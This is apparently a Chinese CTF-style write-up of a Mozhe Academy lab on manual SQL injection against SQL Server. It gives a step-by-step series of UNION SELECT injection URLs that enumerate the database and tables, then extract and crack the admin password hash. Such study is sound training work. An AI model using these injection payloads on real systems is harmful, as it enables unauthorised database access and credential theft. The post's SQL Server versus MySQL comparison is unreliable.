SQL手工注入漏洞测试(Sql Server数据库)-墨者


———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境IIS+ASP+Sql Server,Aspx代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Sql Server的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        还是老套路,测试注入点,利用sql语句去找到用户账号信息,这个b密码肯定又是md5加密,能不能来点新套路(抓脸.jpg)。

靶场启动!!!我的墨币啊┭┮﹏┭┮,望大佬点赞回血。

还是那个熟悉的界面,我们点进去关于平台停机维护的通知。

http://219.153.49.228:41966/new_list.asp?id=2

整型注入点吗?我们先找找Sql Server和MySQL数据库的区别。

SQL Server和MySQL数据库的区别如下:

  1. 平台支持:SQL Server主要支持Windows平台,而MySQL则支持许多平台,包括Linux和Windows平台。
  2. 语法:SQL Server的语法相对简单易用,而MySQL的语法则较为复杂。
  3. 存储引擎:MySQL有多种存储引擎可供选择,而SQL Server则仅使用一个或单个存储引擎。
  4. 备份方式:在使用MySQL时,开发人员必须通过将所有数据提取为SQL语句来备份数据。而SQL Server在备份数据时不会阻止数据库,这使得用户能够备份和恢复大量数据,而无需花费额外的时间和精力。
  5. 性能:SQL Server被视为大型数据库,稳定且能做一般大系统的数据仓库,运行速度明显比MySQL快(尤其是海量数据下)。
  6. 价格:SQL Server的价格相对较高,而MySQL是免费的。
  7. 可扩展性:MySQL在可扩展性方面表现得更好,它允许开发人员根据性能更灵活地为表使用存储引擎。
  8. 社区支持:MySQL有一个庞大的开发者社区,提供了大量的教程、论坛和资源,使得开发人员可以很容易地获取帮助和支持。相比之下,虽然SQL Server也有一个活跃的社区,但其开发者社区规模可能不如MySQL。

纯套话,《国产ai.jpg》,我们再找找Sql Server和MySQL数据库在进行sql注入测试时候的区别吧。搜完了感觉除了注释符号不一样,MSSQL(sql server) 最高权限是sa,其他的大差不差,问题不大,我们就按mysql的来,出现错误了我们再去改。


解题步骤:

        

        一、验证注入点

http://219.153.49.228:41966/new_list.asp?id=2

对id这个参数进行尝试

http://219.153.49.228:41966/new_list.asp?id=2 and 1=1

ok正常访问,试试这个

http://219.153.49.228:41966/new_list.asp?id=2 and 1=2

访问不正常了,那注入点就在这里啦(苍蝇搓手.jpg)


        二、order by猜列

http://219.153.49.228:41966/new_list.asp?id=-2 union order by 1,2,3,4

昂?我们去w3school里面找找有没有相关的注入语句。

哦哦哦哦哦,order by 不用联合注入,而且只能传入一个参数,给忘了。猜列的时候,发现只有1,2,4显示了页面,可能有四个列。


        三、检查回显

http://219.153.49.228:41966/new_list.asp?id=-2 union select 1,2,4

昂?这是怎么了?系统应该是检测这个字符的,我们用小葵转换一下编码试试。能行,但不完全行,我找找其他资料吧。ooo原来是语句不正确。

我们测回显用这个语句

http://219.153.49.228:48244/new_list.asp?id=-2 union all select null,'null','null',null

 我们去一个个给每个null加上单引号。

也可以用order by +number

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,2,'3',4

最后把3用字符串表示(加了个单引号)能正常回显。说明第二和第三列有回显,第二列是整型,第三列是字符型


        四、获取数据库信息

+++

@@version 获取版本信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@version,'3',4

        Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

+++

db_name()当前数据库名字

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,db_name(),'3',4

        mozhe_db_v2

+++

user、system_user、current_user、user_name获取当前数据库用户名

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,user,'3',4

        dbo

+++

@@SERVERNAME 获取服务器主机信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,@@SERVERNAME,'3',4

        MOBAN9527\SQLEXPRESS


        五、查数据库表信息

http://219.153.49.228:44214/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

注入语句:top 1(查询前1条数据)+name(查name字段)+mozhe_db_v2.dbo.sysobjects(当前数据库.dbo.sysobjects系统自带用户)+xtype='U'(限定user信息,dbo用户创建的表)

查询到的是manage表,用and name not in看看还有没其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage')),'3',4

再看看有没有其他的

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U' and name not in ('manage','announcement')),'3',4

没有了。接下来就是根据查到的数据库表信息去查列的信息了。


        六、查数据库表信息

我们查到跟dbo有关的数据库表就是manage,announcement了。announcement替你们查过了,跟flag没关系。直接展示manage了。

syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回当前数据库用户创建的对像的ID。

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

/new_list.asp?id=-1 union all select 1,(select username from manage),'a',4

查询(object_id('manage'),1)(object_id('manage'),2)(object_id('manage'),3)返回的分别是id,username,password。


        七、查数据

直接从manage表中查就行。

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select username from manage),'a',4

admin_mz

219.153.49.228:47026/new_list.asp?id=-2 union all select 1,(select password from manage),'a',4

72e1bfc3f01b7583

MD5解密后为97285101

登陆拿到KEY: mozhea025436360d9d78553ba4c4a754


总结:

        难度:★★★★☆☆☆☆☆☆

        解析:整体难度有点稍高,因为和mysql语法有点区别,查数据方式也不太一样。好在思路没啥出入。记录一下手工注入流程,提高对MSSQL数据库的理解。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/202966.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详解nginx优势以及应用场景,实操编译安装和nginx版本平滑升级

目录 一、nginx的特点 那么nginx有哪些特点? 先讲nginx的优点: 缺点: 二、nginx与Apache的区别 三、nginx的应用场景 四、nginx为什么能支持高并发 五、为什么nginx不使用多线程 六、nginx的两种进程分别有什么作用 七、编译安装ngi…

二叉搜索树——模拟

对于一个无穷的满二叉排序树(如图),节点的编号是1,2,3,…。对于一棵树根为X的子树,沿着左节点一直往下到最后一层,可以获得该子树编号最小的节点;沿着右节点一直往下到最后一层,可以…

【办公软件】Win10/Win11复制粘贴必须刷新才能显示

更换了新的一台电脑,但是发现新建文件夹或是复制粘贴文件时,不管是在桌面还是在其他磁盘中都需要右击刷新一下才显示。让人很郁闷,比如新建一个文件夹不显示以为没有新建成功,导致重复建了好几个。 如何解决? 使用Wi…

一步解决 java.io.FileNotFoundException: 找不到文件异常

1.问题描述 java.io.FileNotFoundException: C:\Users\Administrator\AppData\Local\Temp\localhost\uploads\image\20231206\2843cb16-9654-4e52-a757-76e3ca1f80ff.png (系统找不到指定的路径。) 2.原因分析 文件路径中的文件目录不存在 3.解决方案 方案一:如果…

行业研究:2023年中国游戏陪玩行业市场现状分析

近年来随着我国游戏行业的不断发展,我国游戏用户规模也是随着稳步上升,给游戏陪玩行业带来了稳定的用户基础。在用户规模增长的同时,随着经济、文化的快速发展,我国娱乐技能社交也随之逐渐兴起。而作为我国娱乐技能社交比重较大的…

Vue学习计划-Vue2--Vue核心(七)生命周期

抛出问题&#xff1a;一进入页面就开启一个定时器&#xff0c;每隔1秒count就加1&#xff0c;如何实现 示例&#xff1a; <body> <div id"app">{{ n }}<button click"add">执行</button> </div><script>let vm new …

一文搞懂Git版本控制系统

1. Git简介 当涉及到软件开发或协作时&#xff0c;版本管理是一个不可或缺的概念。无论你是一个独立开发者还是一个团队成员&#xff0c;都会遇到需要跟踪和管理代码变更的情况。这时候&#xff0c;Git作为一个强大而流行的版本控制系统就发挥着重要的作用。 Git&#xff08;读…

玩转大数据9:机器学习在大数据分析中的应用

1. 引言 在大数据时代&#xff0c;机器学习在大数据分析中扮演着至关重要的角色。本文介绍机器学习在大数据分析中的重要性和应用场景&#xff0c;并探讨Java中可用的机器学习库和框架。 2. 机器学习的基本概念和算法 机器学习是当今人工智能领域的一个关键分支&#xff0c;…

智慧园区可视化综合管理平台建设方案,智能化、数字化才是关键

园区作为城市的基本单元&#xff0c;是经济发展的重要载体。随着我国经济的快速发展&#xff0c;各类工业园区、办公园区等园区的规划建设也越来越多。伴随着互联网新兴技术的发展和应用&#xff0c;智慧园区已成为当今城市规划和社会发展的关注焦点&#xff0c;今天我们来介绍…

实战oj题——设计循环队列

前言&#xff1a;今天我们来实现循环队列。 各个接口的实现 创建队列&#xff1a; typedef struct {int* a;int front;int back;int k;} MyCircularQueue;我们的队列是由数组储存的&#xff0c;所以我们队列中得定义一个数组&#xff0c;front代表我们的首元素&#xff0c;ba…

腾讯云轻量应用服务器怎么安装BT宝塔面板?

腾讯云轻量应用服务器宝塔面板怎么用&#xff1f;轻量应用服务器如何安装宝塔面板&#xff1f;在镜像中选择宝塔Linux面板腾讯云专享版&#xff0c;在轻量服务器防火墙中开启8888端口号&#xff0c;然后远程连接到轻量服务器执行宝塔面板账号密码查询命令&#xff0c;最后登录和…

Gti GUI添加标签

通过Git Gui打开项目&#xff0c;通过菜单打开分支历史&#xff0c;我这里是名为"develop"的分支 选中需要打标签的commit&#xff0c;右键-Create tag即可 但貌似无法删除标签&#xff0c;只能通过git bash

卡码网语言基础课 | 20. 排队取奶茶

目录 一、 队列的基本认识 二、 队列的操作 2.1 引入头文件 2.2 创建队列 2.3 队列的常见操作 三、 解题 通过本次练习&#xff0c;将会学习到以下C知识点&#xff1a; 队列的基本概念&#xff08;队头、队尾&#xff09;和特点&#xff08;先入先出&#xff09;入队、出队…

Android : Xui- RecyclerView+BannerLayout 轮播图简单应用

实例图&#xff1a; 1.引用XUI http://t.csdnimg.cn/Wb4KR 2.创建显示图片布局 banner_item.xml <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:app"…

【CentOS8】使用 Tomcat 部署 Java Web 项目(使用 sdkman)

文章目录 配置 Tomcat将 Tomcat 启动命令设置为 Linux 自定义服务给 Tomcat 设置管理员账号密码IDEA 打包 Java web 项目 我是使用 sdkman 下载的 jdk 和 tomcat&#xff0c;所以接下来的部署配置都是在 sdkman 构建的环境的。想要知道如何下载 sdkman 可以看看这篇文章 —…

计网实验7

解决&#xff1a;路由器用rip连接&#xff0c;主机通过域名访问&#xff0c;主机之间发送电子邮件 实验步骤 1.搞好部件 2.配好两台主机的ip,掩码&#xff0c;网关 3.连接一下两台主机&#xff0c;由于两台路由器没有连接&#xff0c;所以两台主机也无法连通&#xff0c;丢包率…

价格突然上涨,anzo Capital跟着专业交易者这样做

当交易市场价格突然上涨&#xff0c;让anzo Capital跟着专业交易者&#xff0c;如何操作进行盈利。 我们就以每日BTCUSD价格图为例。锁定交易区用红色突出显示。接下来有一个绿色区域&#xff0c;标志着当时看涨的专业交易者执行的缺口。此外&#xff0c;交易量有所增加&#…

Python实现FA萤火虫优化算法优化XGBoost回归模型(XGBRegressor算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 萤火虫算法&#xff08;Fire-fly algorithm&#xff0c;FA&#xff09;由剑桥大学Yang于2009年提出 , …

基于yolov2深度学习网络的人员跌倒检测识别matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 YOLOv2深度学习网络 4.2 人员跌倒检测识别原理 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 clc; clear; close all; warning off; a…

0基础学java-day15

一、泛型 1 泛型的理解和好处 1.1 看一个需求 【不小心加入其它类型&#xff0c;会导致出现类型转换异常】 package com.hspedu.generic;import java.util.ArrayList;/*** author 林然* version 1.0*/ public class Generic01 {SuppressWarnings("all")public st…